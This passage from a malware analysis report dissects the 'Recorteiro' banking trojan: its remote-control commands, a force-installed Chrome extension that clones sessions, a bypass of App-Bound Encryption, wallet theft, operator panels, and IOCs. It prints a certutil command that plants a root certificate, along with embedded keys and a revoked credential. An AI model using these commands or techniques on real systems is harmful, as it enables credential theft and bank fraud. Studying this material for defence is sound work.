The bank-specific “skins” (logo, colours, wording) are not in the binary. The operator pushes them as templates from the panel when needed. While the operator works, the victim is kept busy with generic screens embedded in the core: three waiting screens (Figure 18) and a plain dark screen used by the black_screen command.
Figure 18: Waiting screens embedded in the core, rendered offline from the original HTML: “Please wait… / Security verification”, a fake Windows update, and “Verifying system…”. They keep the victim in front of a locked screen while the operator acts.
We never saw a live overlay. The operator banned our test machine before spending one, so the images above are rebuilt from the code itself.
We named this family after its most distinctive technique. The malware’s author calls it “Recort”, and the term appears throughout the code:
form_recortform_recort_exchange__rwr_recort_close_veil"Recort centralizado: … hole=…"+
-eiro “the one who does”
=
Recorteiro
“the one who cuts out”
The name also follows the tradition of Brazilian banking trojans such as Grandoreiro and Casbaneiro.
Aliases: the operators’ own names, WindowsHelpers (binaries) and CryptoPRO-X (control panel).
Remote control: hands on the victim’s keyboard
Behind every fraud screen there is an operator driving the machine. The core gives them a full remote-access toolkit over the same C2 channel:
| Capability | How |
|---|---|
| Live screen | Desktop captured with DXGI, encoded in H.264 (libx264) and streamed over WebRTC through Cloudflare TURN; screenshots on demand to the R2 bucket |
| Mouse and keyboard | remote_input events: mouse_move, mouse_down/up, mouse_wheel, key_down/up (with Shift, Ctrl, Alt and AltGr). The core forces a US keyboard layout so that injected keys do not depend on the victim’s Portuguese layout |
| Locking the victim out | lock_input blocks the victim’s own keyboard and mouse while the operator’s input still gets through; black_screen turns the victim’s screen black |
| Clipboard | clipboard_get and clipboard_set: read what the victim copied, or plant an IBAN or wallet address to be pasted |
| File manager | files_drives and files_list, browsing the disk page by page |
| Theft on demand | grab_cookies, grab_passwords, grab_credit_cards, grab_history, grab_wallets (for all browsers, or for a single domain such as the victim’s bank) |
| Keylogger | logger_start / logger_stop; keystrokes and clipboard go out encrypted, with copy and paste marked in Portuguese ([COPIADO:, [COLADO:) |
| Proxy through the victim | relay_socks_open: a SOCKS tunnel through the infected machine, so the operator can reach the bank from the victim’s own IP address |
We saw several of these used live. In one session the operator opened the remote file manager and walked through our test machine’s disk: from C:\ to the user’s folder, then straight to Downloads and Desktop (Figure 19).
Figure 19: The operator browses the test machine’s disk through the remote file manager. Within a few clicks they reach the Desktop, holding the sample.
The malicious extension: a browser-in-the-middle
It is Recorteiro’s second weapon, working alongside the native overlays:
- The core installs it. The extension ships inside the core, which writes it into Chrome and Edge after installation. The operator can also install or remove it later with the
ext_install/ext_removecommands. The core passes the victim’s identity (machine, user, client ID) to the extension through the browser’s managed policy, so the panel knows which victim each browser belongs to. - It starts with the browser. Because it is forced by policy, it loads every time the victim opens Chrome or Edge, with no click needed. It then opens its own connection to the attackers’ hub (
windowshelpers[.]com/relay), separate from the core’s WebSocket, and waits for orders. - The operator uses it when the victim opens the bank. The native overlay works on the whole screen, at the Windows level. The extension works inside the bank’s tab: it can cover the tab, click and type in it, read its API traffic and, above all, clone the session into the operator’s own browser.
In short, the core gives the operator the screen and the computer, and the extension gives them the banking session inside the browser.
The core ships with a Chrome/Edge extension embedded inside it and installs it silently. Its name is designed to look harmless:
Name: “WindowsHelpers Browser Verification” (Manifest V3)
Extension ID: bneiakhcpdbpeclipnlkdeloomegfkoe
Version: 0.3.4 embedded in the core; 0.3.5 served for automatic updates
Update URL: hxxps://windowshelpers[.]com/ext/updates.xml → …/ext/relay.crx
relay.crx SHA-256: 467be164302d71b5bc77abca5798452a7e2c5d70faf3d7bd990f42d461b62be0
Hub credential (hard-coded in sw.js): relay:RCegb8d0A8TYDEbrqH (HTTP Basic; revoked by early November)
How it gets in without the user noticing. The core uses two routes:
- a browser policy (
ExtensionInstallForcelist) for Chrome and Edge; - direct edits to each profile’s
Secure Preferencesfile, the file Chrome protects with HMACs to detect tampering. The core recomputes those HMACs with Chrome’s own seed and the machine’s SID, so the browser accepts the change as legitimate and shows no warning. It also switches on developer mode and snoozes the warning that normally comes with it.
What it lets the operator do inside the victim’s browser. The extension connects to the attackers’ hub and accepts commands:
| Group | What it does |
|---|---|
| Session cloning | clone.export: every cookie, localStorage and sessionStorage from every tab, plus the User-Agent. The operator re-imports it in their own browser and is logged in to the victim’s bank as the victim |
| Driving the page | Synthetic clicks, typing and scrolling inside the tab (dom.click, dom.fill, relay.input), arbitrary JavaScript in any frame (script.exec), full Chrome DevTools Protocol access (cdp.send) |
| Watching the bank’s traffic | net.capture: every request and response of the tab, including the bank’s API calls; net.rules to block or allow URLs on the fly |
| Stealing what is typed | form-hook.js hooks every form submission and sends the password, email and text fields with the page URL |
| Keeping the victim out | shield: an invisible layer that swallows every click and key; and a full-screen “curtain” over the blurred tab (Figure 20) |
| Screen and tabs | Live tab streaming (JPEG frames), screenshots, open/close/switch tabs, navigation, cookie get/set |
It also strips the x-client-data header (Chrome’s variation signal sent to Google services) from every request, and, like the core, skips *.group-ib.com.
The curtain gives the operator three pretexts for long waits while they work in the tab behind it: a browser update, “preparing your session” and a support queue. If the victim clicks the extension’s icon, a fake security check runs and always ends with “verified and safe” (Figure 20).
Figure 20: What the victim sees from the malicious extension, rendered offline from its original HTML and texts (no extension code executed). (a) The three “curtain” templates shown over the banking tab while the operator acts. In a real attack the background is a blurred screenshot of the victim’s tab, sent by the operator. (b) The popup’s fake security check.
Under the hood the extension is small: eight files, almost all of the logic in a 50 KB service worker. Figure 21 shows the files, how every infected browser keeps it up to date from the attackers’ server, and the short path from a submitted form to the attackers’ hub.
Figure 21: Inside the extension. (a) The files in relay.crx v0.3.5 and their roles. (b) Self-update: the manifest points to updates.xml on the C2 domain, which serves the newest relay.crx, so the operators can push a new version to every victim silently. (c) Credential theft: form-hook.js hooks every form submission in every page, injector.js relays the fields to the service worker, and sw.js stores them and pushes them to the hub as cred.captured, authenticating with the credential hard-coded in its code.
Together with the native overlays, the extension gives the operator two independent ways to commit fraud inside the victim’s real session: one at the level of the screen, the other inside the browser itself.
Stealing from the browser, including Chrome’s App-Bound Encryption
Recorteiro reads the data stores of 28 browsers (Chrome, Edge, Brave, Opera, Vivaldi, Yandex, Firefox, Tor Browser and many others) plus Thunderbird, either all at once (grab_all) or only for one site (grab_domain, for example the victim’s bank):
- Passwords from
Login Data; - Cookies, using the current Chrome schema and an older fallback;
- Saved cards, including the CVC values that Chrome stores separately (
local_stored_cvc); - History and local storage;
- Firefox data through its own NSS library.
The difficult part is Chrome’s App-Bound Encryption. Since Chrome 127, the key that protects cookies and passwords can only be decrypted by Chrome’s own elevation service, and that service checks that the caller is Chrome. Recorteiro gets around this by running its code inside a genuine chrome.exe that it starts itself (Figure 22).
Embedded helper: chrome_key_helper.dll (Rust, 289,792 bytes, compiled 2026-10-09)
SHA-256: 771c21173f995c1307c1df02cd014b2f903451f40caea16388c640cad79baaf6
Stored in the core: offset 0x107B718, ChaCha20, key ckh-embed-v1-chrome-key-helper!!, nonce ckh-nonce!\0\0
Browsers supported: Chrome, Chrome Beta, Edge, Brave, Avast Secure Browser
Figure 22: How Recorteiro bypasses Chrome’s App-Bound Encryption: a suspended, genuine chrome.exe is used as a shell for a hidden helper that asks Chrome’s own elevation service for the key. The stub is reconstructed from the core’s code.
The helper never touches the disk and Chrome’s own code never runs. The server can also replace the helper with a newer one (ck_mod) without a new build of the core. We did not find, in this version, the extra layer that the newest Chrome releases apply to the decrypted key, which suggests either an updated helper pushed by the C2 or a gap the operators still have to close.
For defenders, this is one of the most reliable signals Recorteiro leaves:
chrome.exe,msedge.exeorbrave.exestarted with only--no-startup-window, by a parent that is neither Explorer nor the browser;- a browser process created suspended and written to at its entry point by another process;
- a named pipe called
\\.\pipe\ckh_*; - a windowless browser process that exits seconds after talking to
GoogleChromeElevationServiceorMicrosoftEdgeElevationService.
Crypto wallets: steal the vault, then wait for the password
Wallets are the one target Recorteiro attacks on its own, without waiting for the operator. It works in three steps:
- Steal the encrypted vault. For wallet extensions (MetaMask, Phantom, Rabby, Coinbase Wallet, TronLink, Trust Wallet and the 55 extensions pushed by the server), the core copies each profile’s extension storage and extracts the encrypted vault (
{"data", "iv", "salt", "keyMetadata"}, the format used by MetaMask and its forks). For desktop and hardware wallet apps, it looks for the executables and install paths in the server’s list of 90 applications. - Capture the password as it is typed. A separate module watches the foreground window for wallet titles and records what the victim types when unlocking. With the vault and the password, the seed phrase can be decrypted offline, at the attackers’ leisure.
- Alert the operator. Every wallet, exchange or seed-phrase window also raises a real-time alert, so the operator can step in through remote control.
Planting a root certificate
One more command is worth noting. The core can import a root certificate into the victim’s certificate store, so that Chrome and Edge trust whatever it signs. That would let the attackers intercept or forge TLS on the victim’s own machine. The command line is fixed in the binary:
certutil -user -p 123456 -importpfx Root "<dir>\<COMPANY NAME>_<CNPJ>.pfx"
with a PowerShell Import-PfxCertificate fallback into Cert:\CurrentUser\Root. The file name follows the convention of Brazilian ICP-Brasil company certificates (<company name>_<CNPJ>.pfx), which is one more marker of a Brazilian origin. The company named in the binary is most likely an unrelated third party whose certificate was reused, so we do not publish its name. The certificate itself is not embedded: it is delivered by the C2 when needed.
The human in the loop
Everything above describes what Recorteiro can do. What makes it dangerous is how it is used: behind every infected machine there is a person deciding, in real time, whether it is worth attacking.
The panel is built to make sure nobody misses a victim. Its own front-end code (the SentinelShell script, a static file served by the panel) shows how operators are alerted (Figure 23):
- A new victim connects: a pop-up announces “Novo Biguzinho conectado” (“New little bigu connected”, the operators’ nickname for a victim), with the machine name, the number of monitors and the affiliate reference, and the panel plays
/audio/novo_biguzinho.mp3. - A victim opens a target: the panel plays a recorded audio clip for that keyword (
/audio/kw_<keyword>.mp3, for examplekw_millennium). If there is none, it plays a clip for the category (bank, exchange, wallet, sensitive). As a last resort it beeps and reads the alert aloud in Brazilian Portuguese with the browser’s text-to-speech. - Critical alerts pop up as “ALERTA CRÍTICO”. Operators manage the list of target words themselves on a page called “Palavras” (“Words”).
Figure 23: How the CryptoPRO-X panel alerts its operators, from its own front-end code (excerpt, simplified). (a) A sound announces every new victim. (b) A recorded clip per target keyword, then per category, then a beep and text-to-speech in pt-BR. (c) Critical alerts, audio toggle and operator roles.
Across six lab sessions this is what we saw:
- The operator connected almost immediately. In the first accepted session the panel requested 652 screenshots of our test machine, one every 3–4 seconds, and opened live video over WebRTC with remote mouse and keyboard.
- They watched the banking pages we opened. Montepio, Caixa Geral de Depósitos and Millennium bcp all appeared on the operator’s screen as we browsed them (Figure 24).
- They inspected the machine. The core reported the antivirus on its own (Figure 10); the operator listed the displays and walked the disk with the remote file manager (Figure 19).
- They never showed a fraud screen. In all sessions the server sent no overlay. The operator watched, tested and moved on.
- Then they banned us. The server started answering every connection with
{"type":"error","message":"agent_banned"}. A fresh identity (new MAC address, new IP) bought us one more session, which ended the same way.
Figure 24: What the operator saw: screenshots sent by Recorteiro from our test machine and recovered from the traffic. The desktop, the Banco Montepio PIN keypad, the Caixa Geral de Depósitos login and the Millennium bcp login. Only test values were used; the Millennium user code is redacted.
This is anti-analysis on the server side. Making a virtual machine look real is not enough: a human looks at it, and an analysis environment that does not behave like a real customer is cut off before it sees the fraud. It also explains why fraud screens are so rarely captured in sandboxes: the operators would rather lose an agent than spend a bank “skin” on a researcher.
The panel even has a dedicated quarantine for suspicious virtual machines, where an admin allows or bans each one (see “The wider operation section“).
Infrastructure & C2 server
The operation runs on a small set of domains, most of them behind Cloudflare. The state below was checked between 2 and 4 November 2026 using DNS, WHOIS, Certificate Transparency and unauthenticated requests only.
| Component | Domain / address | Role | State |
|---|---|---|---|
| Phishing | energialusa[.]com, edp-fatura.accessrdp[.]digital |
Fake invoice pages | Parked energialusa[.]com parked/suspended |
| Delivery | ssl.whbridge[.]com (31.56.19[.]122) |
Tokenized links (/l/<token>), BAT → PowerShell, telemetry beacons, and the LoaderWeb console (/app) |
Active served the same dropper on 4 November |
| Delivery | sv2.whbridge[.]com, sv1.whbridge[.]com (64.89.161[.]15) |
Loader and encrypted core, loader updates | Active |
| C2 discovery | xzlixtrtllsbljtupsdn.supabase[.]co |
Holds the current C2 address | Down taken down; infected machines use the fallback |
| C2 and panel | windowshelpers[.]com, v2.windowshelpers[.]com |
WebSocket C2, “CryptoPRO-X” panel, extension updates and hub | Active Cloudflare; registered 6 May 2026 |
| Screenshots | thumbs.windowshelpers[.]com |
Cloudflare R2 bucket for victim screenshots | Active |
| Secondary | helpdesktopup[.]com (painel., api.) |
Updater fallback and the CyberControle Android banking-fraud console | Active subdomains active; registered the same day as windowshelpers[.]com |
The main panel identifies itself as “CryptoPRO-X”, a remote-control console in Brazilian Portuguese with a filter called “Bankers”, counters for locked victims, and an audit log showing several operators sharing the same platform. Its API answers 401 without credentials, and the credential hard-coded in the extension had already been revoked when we tested it.
The second domain, registered on the same day, hosts “CyberControle — Secure Console”. Its login page advertises PIX, TED/TEF, boletos, cards and statements “in real time” (Figure 25); its code shows it is an Android banking-fraud console aimed at Brazil (see the next section).
Figure 25: The operators’ panels, as served by their own web front ends (no agents or victim data visible – redacted). (a) The CryptoPRO-X login, “remote control panel · WebRTC”. (b) The “Central de Controle Remoto” dashboard, with counters for locked victims (“Windows lock”), a “Bankers” filter and a Brasília-time clock. (c) “Logs em Tempo Real”, an audit of operator logins, blocked e-mails and taken-over sessions, showing that several operators share the platform. (d) The second panel, “CyberControle”, on a domain registered the same day as the main C2.
The wider operation: three panels
The binaries tell us what Recorteiro does. The operators’ own web panels tell us how the business around it is organised. During an intelligence operation across the whole infrastructure we collected the front-end code that these panels serve to any visitor: static JavaScript, style sheets and page templates and so on. That code contains every screen, label, field and workflow, which allowed us to rebuild the three panels as working demos. Everything you see in them is reconstructed; the victims, machines, people and amounts are fictitious.
The three panels cover the whole life of a victim: one gets the malware onto the machine, one operates the infected PC, and one operates the victim’s phone.
| LoaderWeb | CryptoPRO-X | CyberControle | |
|---|---|---|---|
| Address | ssl.whbridge[.]com/app |
v2.windowshelpers[.]com |
painel.helpdesktopup[.]com |
| Role | Delivery as a service | C2 and fraud operations | Android banking fraud |
| Stage | Before infection: link → BAT/ZIP | After infection: the Windows core | Outside the Portuguese Windows chain |
| Users | “Clients” (up to 100 clients, 500 loaders) | Admins, affiliates (operators) and viewers | Operators |
| Victims | Whoever clicks the link | Windows users (Portugal in this campaign) | Santander customers in Brazil |
LoaderWeb: a link factory for “clients”
LoaderWeb is where the infection starts. Each “client” gets loaders, and each loader gets a tokenized link (/l/<token>) and a ZIP package (/b/<token>/<invoice>.zip). If a link gets burned, one click on “loader regenerar” issues a new token and invalidates the old one. Every link reports a funnel of openings, executions, successes and failures, which is fed by the e?t=s, e?t=d and e?t=x beacons. Those are exactly the requests our batch file sent to ssl.whbridge[.]com/l/LDCdugBE0AoJ/ (Stage 1), which ties the panel directly to our sample.
The “Beta” page is a quality-assurance desk aimed at Microsoft Defender. Before a new variant goes live, testers run it on a clean Windows 10/11 with Defender up to date, confirm the Mark-of-the-Web, scan it with MpCmdRun, run it five times at different screen scalings and record the verdict: event 1116 (detected) or 1117 (clean), SmartScreen, and whether a window flashed. Three variants were under test:
LNK → BAT → conhost --headlessLNK → BAT /min.url → BAT → conhost --headless
Figure 26: LoaderWeb, the delivery console (reconstruction, animation). Clients, tokenized links, the live funnel of openings, executions, successes and failures, and the anti-Defender test protocol.
CryptoPRO-X: the operations room
CryptoPRO-X is the panel behind the C2. Its front-end was generated with an AI app builder: the page metadata still carries the builder’s preview image and the prompt, “Builds a pixel-perfect replica of a given layout…”. The dashboard is what we described in “The human in the loop”: the fleet of infected machines in real time, the active window of each victim, a detection chip when a target word appears, the “Bankers” filter, and the sound and pop-up alerts.
During the investigation we also came across a screenshot of the same console in a generic form, branded “SENTINEL · RDP · VM CONTROL” (Figure 27). Same layout, same counters, same filters and pop-ups, but neutral columns (IP, MAC, active window) and none of the banking features. CryptoPRO-X looks like a customised instance of that product, with a “Bankers” filter, keyword detection, wallet columns and an affiliate reference added on top. Together with the “clients” of LoaderWeb and the affiliate IDs stamped into every loader, this points to malware as a service: the crew behind this campaign may have bought or rented the platform, or a white-label instance of it, rather than built it. This is a suspicion based on the panels alone; we have not seen the product being advertised or sold.
Figure 27: The generic “SENTINEL · RDP · VM CONTROL” console, the same product without the banking features. The CryptoPRO-X panel used in this campaign appears to be a customised instance of it.
The administration area of CryptoPRO-X shows how the business runs:
- Roles. Admins see everything; affiliates (“operators”) see only the target words and the loader page, and only the victims tagged with their own reference; viewers are read-only.
- Loader minting. The admin uploads a
WHBridge.exetemplate; the panel refuses it if it lacks theREFSLOTmarker (“Template sem REFSLOT. Envie um WHBridge.exe recompilado.”). Each affiliate then downloads aWHBridge_<hash>.zipalready stamped with their ID (“o loader já sai com ela, sem digitação“). This is the server side of the affiliate ID we found in every loader. - Hot-swappable modules. The module that breaks Chrome’s App-Bound Encryption is uploaded as an encrypted
ck_mod.encwith a 64-hex-character key and reloaded “without restarting”. - A VM quarantine. Machines that look like analysis environments land in a queue with the signals that flagged them, and an admin decides: “VM permitida”, “VM bloqueada — registro negado”, or back to quarantine. This is the human side of the
agent_bannedthat ended our sessions. - Releases and targeting. Core versions with stable and beta channels and an “update all agents” button, plus the lists of target words, desktop wallets and wallet extensions that become the
keywords_syncandwallet_apps_syncmessages we captured. - WebRTC policy. Remote sessions go through TURN or an SFU, with an option to let several operators watch the same victim at once.
Figure 28: The CryptoPRO-X panel used in this campaign. New victims connect (“Novo Biguzinho conectado”), a critical alert fires when a bank is opened, and the administration area shows the loader minting page and the VM quarantine.
CyberControle: the same crew, on the phone
CyberControle shares no code with the Windows chain, but it shares the infrastructure: helpdesktopup[.]com was registered the same day as windowshelpers[.]com, and the Windows updater component (apprt_helper) uses it as a fallback domain. It is a different line of business: an Android APK builder (app name, package name, icon, “clean” or unique package mode, build queue) and a console to operate the victim’s bank account directly once the app is on the phone.
Operators can send PIX transfers and adjust PIX limits, send TED transfers, pay boletos, simulate and take out loans, withdraw savings, reveal card details and chat with the victim, while the statement updates live. The bank named in the code is Santander, and the payment history shows transfers to accounts at Barq and PagSeguro. Everything here targets Brazil; we found no sign of Portuguese victims in this panel.
Figure 29: CyberControle, the Android banking-fraud console (reconstruction, animation). Victim accounts, the live operations feed (PIX transfers, loan and savings simulations) and the APK builder.
Conclusion
Recorteiro shows where Brazilian banking malware is heading. The recipe is familiar: a lure in Portuguese, a screen over the bank and a human finishing the job. The engineering, however, is new. The trojan is written from scratch in Rust, with encrypted and signed payloads that change hash on every machine, live control over WebRTC, and a browser extension that clones the banking session. Its signature “live hole” makes the victim type the code into the real bank page, in their own session, from their own IP, so that every signal a bank relies on looks legitimate.
Just as important is what happens on the other side of the screen. Recorteiro is not a fire-and-forget stealer: it is a platform for affiliates, and behind each infection there is an operator who watches, inspects and decides. In our lab that operator spotted the analysis and cut us off before showing a single fraud screen.
For defenders, the most effective levers are the ones this kit cannot change from build to build: the install folder pattern, browser extension policies, root-certificate imports, the Chrome helper trick, and the infrastructure. For users, the advice is old but still decisive: an invoice never needs to be a .bat file.
—
Special thanks to James (@JAMESWT_WT) for sharing samples!
MITRE ATT&CK
Appendix: full target lists pushed by the C2
Captured in our lab from the keywords_sync and wallet_apps_sync messages of affiliate GringoFR (November 2026). Priority in brackets.
Keywords: custom / bank (25)
bankerinter [100], bbva [100], bpi net empresas [100], brasilcard [100], gerenciador caixa [100], interbank [100], millennium [100], novobanco [100], santander [100], sbi [100], banco [3], banco do brasil [3], banking [3], bitpoint [3], bitradex [3], bittrade [3], bradesco [3], cointrade [3], crypto [3], okcoin [3], quantfury [3], seed [3], sicoob [3], sicredi [3], whitedraw [3]
Keywords: crypto exchanges (64)
coincheck [100], nicehash [100], azbit, bibox, bigone, binance, bingx, bitbank, bitbuy, bitfinex, bitflyer, bitget, bithumb, bitkub, bitmart, bitoasis, bitpanda, bitrue, bitstamp, bittrex, bitvavo, bkex, bybit, coinbase, coinex, coinone, coinsbit, coinspot, coinstore, crypto.com, digifinex, fameex, gate.io, gateio, hibt, hitbtc, hotcoin, htx, huobi, kanga exchange, kcex, kraken, kucoin, latoken, lbank, mexc, ndax, newton exchange, nexo, nexo pro, okex, okx, p2pb2b, phemex, poloniex, probit, tapbit, toobit, upbit, valr, weex, whitebit, xt.com, youhodler (all others [3])
Keywords: wallets (38)
caixa economica [100], atomic wallet, bitbox, blockchain.com, blue wallet, coinomi, daedalus, electrum, eternl, exodus, keepkey, keplr, keystone, ledger, ledger live, metamask, monero, mycrypto, myetherwallet, onekey, phantom, rabby, rainbow, rainbow wallet, safepal, solflare, sparrow, sparrow wallet, trezor, trust wallet, trustwallet, wasabi, wasabi wallet, yoroi, zcash, zerion ([4]), bitcoin core [3], bitcoin-qt [3]
Keywords: crypto and DeFi (21)
1inch, airdrop, bitcoin wallet, crypto wallet, curve.fi, defi, ether.fi, ethereum wallet, gala games, indodax, kerneldao, lighter, megaeth, metamask wallet, opensea, pancakeswap, raydium, staking, sushiswap, uniswap, web3 (all [2])
Keywords: sensitive (16)
12 words, 24 words, backup phrase, keystore, master key, mnemonic, passphrase, private key, privatekey, recovery phrase, recovery words, secret key, secretkey, seed phrase, seed words, wallet backup (all [5])
Wallet applications: software (68)
3Commas, Argent Desktop, Armory, Atomic Wallet, Backpack, Binance Desktop, Bitcoin Core, BitKeep Desktop, BitPay, Blockstream Green, BlueWallet, BRD, Bybit Wallet, Coin98 Desktop, Coinomi, CoinTracker, Copay, Cosmostation, Crypto.com DeFi Wallet, Daedalus, Edge Wallet Desktop, Electrum, Eternl, Exodus, Flint Desktop, Guarda Wallet, imToken Desktop, Jaxx Liberty, Keplr Desktop, Klever Desktop, Kraken, KuCoin Wallet, Leap Cosmos, Lemon Cash, Luno, Math Wallet Desktop, Mercado Bitcoin, MetaMask Desktop, Monero GUI, MyCrypto, MyEtherWallet, Nami Desktop, Nunchuk, OKX Wallet, Phantom Desktop, Polkadot.js, Rabby Wallet, Rainbow, SafePal Desktop, Samourai Wallet, Solflare Desktop, Sparrow Wallet, Specter Desktop, SubWallet, Talisman Desktop, Terra Station, Terraswap, TokenPocket Desktop, Ton Wallet, Tonkeeper Desktop, Trust Wallet Desktop, Typhon, Wasabi Wallet, XDEFI, Yoroi Desktop, Zcash, Zengo Desktop, Zerion
Wallet applications: hardware (22)
Archos Safe-T, BC Vault, BitBoxApp, BitLox, Cobo Vault, CoolWallet Desktop, Cypherock cySync, D’CENT, Ellipal, Foundation Passport, GridPlus Lattice, KeepKey Desktop, Keystone, Ledger Live, Material Bitcoin, NGRAVE, OneKey Desktop, Prokey, SafePal, SecuX, Tangem, Trezor Suite
Wallet browser extensions (55)
Chromium: ArgentX dlcobpjiigpikoobohmabehhmhfoodbb · Auro Wallet cnmamaachppnkjgnildpdmkaakejnhae · Authenticator bhghoamapcdpbohphigoooaddinpkbai · Backpack gjnckgkfmgmibbkoficdidcljeaaaheg · Binance Wallet fhbohimaelbohpjbbldcngcnapndodjp · Biport nngceckbapebfimnlniiiahkandclblb · Braavos jnlgamecbpmbajjfhmmmlhejkemejdma · Coinbase Wallet hnfanknocfeofbddgcijnmhnfnkdnaad · EVER Wallet cgeeodpfagjceefieflmdfphplkenlfk · Exodus aholpfdialjgjfhomihkjbmgjidlcdno · Finnie cjmkndjhnagcfbpiemnkdpomccnjblmj · Flint Wallet jpkchicphkkejfhflmdbmoahhahdfgkg · GeroWallet bgpipimickeadkjlklgciifhnalhdjhe · Goby jnkelfanjkeadonecabehalmbgpfodjm · Guarda Wallet hpglfhgfnhbgpjdenjgmdgoeiappafln · GuildFi nanjmdknhkinifnkgdcggcfnhdaammmj · Hashpack gjagmgiddbbciopjhllkdnddhcglnemk · ICONex flpiciilemghbmfalicajoolhkkenfel · KardiaChain pdadjkfkgcafgbceimcpbkalnfnepbnk · Keplr dmkamcknogkgcdfhhbddcghachkejeap · LeapCosmos aijcbedoijmgnlmjeegjaglmepbmpkpi · Liquality kpfopkelmapcoipemfendmdcghnegimn · MOBOX fcckkdbjnoikooededlapcalpionmalo · Martian Wallet efbglgofoippbgcjepnhiblaibcnclgk · Math Wallet afbcbjpbpfadlkmhmclhkeeodmamcflc · MetaMask nkbihfbeogaeaoehlefnkodbefgpgknn · MetaMask Flask ejbalbakoplchlghecdalmeeeajnimhm · Nabox Wallet nknhiehlklippafakaeklbeglecifhad · Nami cphhlgmgameodnhkjdmkpanlelnlohao · OKX Wallet mcohilncbfahbmgdjkbpemcciiolgcge · Phantom bfnaelmomeimhlpmgjnjophhpkkoljpa · Polymesh jojhfeoedkpkglbfimdfabpdfjaoolaf · Pontem Aptos pdliaogehgdbhbnmkklieghmmjkpigpa · Rabby Wallet acmacodkjbdgmoleebolmdjonilkdbch · Ronin Wallet fnjhmkhhmkbjkkabndcnnogagogbneec · SafePal lgmpcpglpngdoalbgeoldeajfclnhafa · Solflare bhhhlbepdkbapadjdnnojkbgioiodbic · Station Wallet aiifbnbfobpmeekipheeijimdpnlpgpp · Sui Wallet opcgpfmipidbgpenhmajoajpbobppdil · Suiet khpkpbbcccdmmclmpigdgddabeilkdpd · TON Wallet nphplpgoakhhjchkkhmiggakijnkhfnd · Taho eajafomhmkipbjmfmhebemolkcicgfmd · Termux:Tasker ajkhoeiiokighlmdnlakpjfoobnjinie · TokenPocket mfgccjchihfkkindfppnaooecgfneiii · TronLink ibnejdfjmmkpcnlpebklmnkoeoihofec · Trust Wallet egjidjbpglichdcondbcbdnbeeppgdph · Venom Wallet ilgcnhelpchnceeipipijaljkblbcobl · Volt Wallet fopmedgnkfpebgllppeddmmochcookhc · XDEFI Wallet hmeobnfnfcmdkdcmlblgagmfpfboieaf · Zerion nlbmnnijcnlegkjjpcfjclmcfggfefdm · iWallet kncchdigobghenbbaddojjnnaogfppfj
Firefox: Coinbase Wallet {b3e96b5f-b5bf-8b48-846b-52f285805b50} · MetaMask [email protected] · Phantom {d04b0b40-3dab-4f0b-97a6-04ec3eddbfb0} · Solflare [email protected]
Indicators of Compromise (IOCs)
All indicators are defanged. Installed cores have a unique hash per victim; use the canonical hash for correlation only.
Samples (10)
Fatura-N9588.zip (ZIP lure) SHA256: 29846c2dd7fc41294cdd41b03985d4c055187292590c8ad1f0092a7a69d23f60 Fatura-N1408.bat (stage 1) SHA256: f9279e504cc44524d610e8203e2bb9ae8a871803350289da50dbbc9aefaf5191 MD5: 7C4BB43C57C3C8D183A110CC1FF1A5A1 ld<random>.ps1 (stage 2, decrypted layer) SHA256: 2462870dfb749b3e3c2ac91e5e49f82cbfc7401978c53055fbdfb19b541803b1 MD5: 022B4AAC0CF43F92FFBA81812C27279B gringo.exe (Rust loader, affiliate GringoFR) SHA256: aad36faec050acd5cf6dc76d588f204bdb4b9e25f7577d0a1444d433eddc201b MD5: 5D46E341B8AB807F3AD9EA37AB1A8001 agent_6fd26a51.bin (encrypted core, WBX1) SHA256: 8cc43499688713769ad43443a37b770002468940514ad2f46af7b570a3df7fb2 MD5: B7E54D2544A8F947D33463BC6F7B4FCA WHCore.exe 1.8.0 (core, canonical; unique hash per victim once installed) SHA256: 2831d41fd7f3b41751f8237322e03b4310b4e155ff9f78ba23553bc172eaac28 MD5: E256797D10D48D6B49B757F837A7C495 chrome_key_helper.dll (App-Bound Encryption bypass, in memory only) SHA256: 771c21173f995c1307c1df02cd014b2f903451f40caea16388c640cad79baaf6 libx264-164.dll (video encoder, dropped by the loader) SHA256: 413ccb307ba86230cbcc1aa4ece169e2116502105ee812bcb622502fc52f6957 relay.crx (malicious extension 0.3.5) SHA256: 467be164302d71b5bc77abca5798452a7e2c5d70faf3d7bd990f42d461b62be0 appruntime.exe (apprt_helper updater) SHA256: a04016cd45c4346042a1e10c8a5bdb8c1894db91172dab9d8c6277ed70372f8c
Additional samples, 5 Nov 2026 update (31)
Fatura-N2014.zip (ZIP lure, Nov 2026) SHA256: c092092af69e419ba4c7a1ae00bb510124186f83ff56d32f810b9ff35f8c78bc MD5: 4901BBCFD1CC1B6E82A01962335527DF Fatura-N2014.bat (stage 1, conhost --headless variant) SHA256: ede786e4f13c09cf25b28f2210d204931e0b2e957491aed9a4f4ac393d715e35 MD5: D5883CDBA637F5D56C999F835FD3C838 ld.ps1 (stage 2, AES-wrapped) SHA256: 01bba3be1189d0817a19048e38105e821376a942e170d951c5f00efea8a355d8 MD5: 0CC8C2AFD929925BE2AD1ED1B8A163FE ld.ps1 (stage 2, decrypted layer, downloads lyancoder.exe) SHA256: dc2b3b807836755b60575069dfa8d4a1e31f41af8f29905cef54f240949b9a41 MD5: 42F57C61202EA349D5943CC8DEE82060 gringo.exe (Rust loader, affiliate GringoFR, built May 2026) SHA256: 80404ebac3f26704d998af34a76008391515db1fbc6db085a0208629d166d8f3 MD5: 0A968EAF63E0AF2FF9E5DDF0950E3D4D RuntimeLauncher.exe (Rust loader, affiliate GringoFR, Sep 2026) SHA256: 6373bdb4ea0bf0f3bdf699d4617165ac395c0b667bc3f4a666e6c6ea6955d6c1 MD5: 66E78B2F50E3ABEA752C0C75C93658D2 loader.exe (Rust loader, affiliate build, Sep 2026) SHA256: 9e08198da4be32232c736c861fe13740b639ff6af678d81a79a4e96bd7e776d1 MD5: A3A868A543FB154E89F43C0D1A695524 lyancoder.exe (Rust loader, affiliate build, Oct 2026) SHA256: 3c76b2ed7eccb9846ce325b6f8b4e6d41f987cfbe9ceeca225c1e70bbaa45af4 MD5: 2BFFBD832A55E275539E203BC4F3AB20 WHBridge-672c94832cb6.zip (minted loader package) SHA256: cca6bea10f347266c3dea91765d0dbac6b4c5a0037fbcb513465bad06d77b1a4 MD5: D0A781EA25F90B0A18EDFD65E9126A10 WHBridge.exe (loader template, May 2026) SHA256: 775204330bbbc3e29258c0a51099c75b319e76dc9e78eb8079855266c20eabe7 MD5: 34979E9035997A99F7815E7B5A016174 app.zip (updater package) SHA256: 9a77e27a87e5d005374fdf0ce876588d8f5b228d08e43bb3e6b7f4049359decf MD5: 004D6DEB89A9BDADE98E8B44C678B792 